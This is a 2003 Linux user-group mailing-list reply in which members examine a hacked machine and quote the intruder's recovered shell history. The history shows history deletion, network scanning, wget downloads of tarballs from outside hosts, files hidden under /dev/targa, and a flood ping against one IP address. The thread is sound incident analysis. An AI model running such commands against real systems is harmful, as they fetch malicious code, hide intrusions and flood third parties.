On Thu, 2003-08-21 at 08:11, Brady Hegberg wrote: > Looks like you've got Romanian script kiddies in your computer. Well, > they have stuff stashed on Romanian servers anyway. I'm curious about > this stuff myself. I guess bot.tgz is a program that flood pings > 203.144.243.10 (Asahi-Somboon ONLINE?) What's bios.tgz? And what are > the scan and serv commands doing with those IP addresses? Hmmm? scan and serv was defiantly something they installed on the machine. bios.tgz & bot.tgz could be anything. They removed the history at least once so who know what else they did. They were idiots though. Why didn't they remove the history when they were done? If they didn't crash his system they could still be using it right now. They probably sniffed his passwords. I think he was using ftp to access all his files from windows systems. > > > > > > > > history > > rm -rf .bash_history > > ls -al > > w > > cd /tmp/.cfg/ > > cd samba > > ./scan 217 139 97 1 > > ./scan 62 139 217 98 > > ./serv 67.160.4.66 > > ./scan 67 139 160 4 > > ./scan 217 139 0 1 > > ls -alF > > cat /etc/issue > > tar > > cd /tmp > > cd sh > > ls -alF > > tar -xzvf sh.tgz > > exit > > id > > wget djcc.go.ro/bios.tgz > > tar -xzvf bios.tgz > > tar -xzvf bios.tgz > > ls > > rm -rf bios.tgz > > ls > > ps -aux > > cat /proc/cpuinfo > > exit > > chmod 700 inst > > chmod +x inst > > exit > > mkdir /dev/targa > > cd /dev/targa > > wget mihai-doini.org/bot.tgz > > tar -xzvf bot.tgz > > exit > > ping -s -f 203.144.243.10 65500& > > ping -f -s 203.144.243.10 65500& > > ping -s -f 203.144.243.10 65500& > > ls > > cd / > > ping -s -f 203.144.243.10 65500& > > history | more > > history | vim > > history -w /tmp/hist.txt > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list at mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list at mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Tom Penney <blots at visi.com> _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list at mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list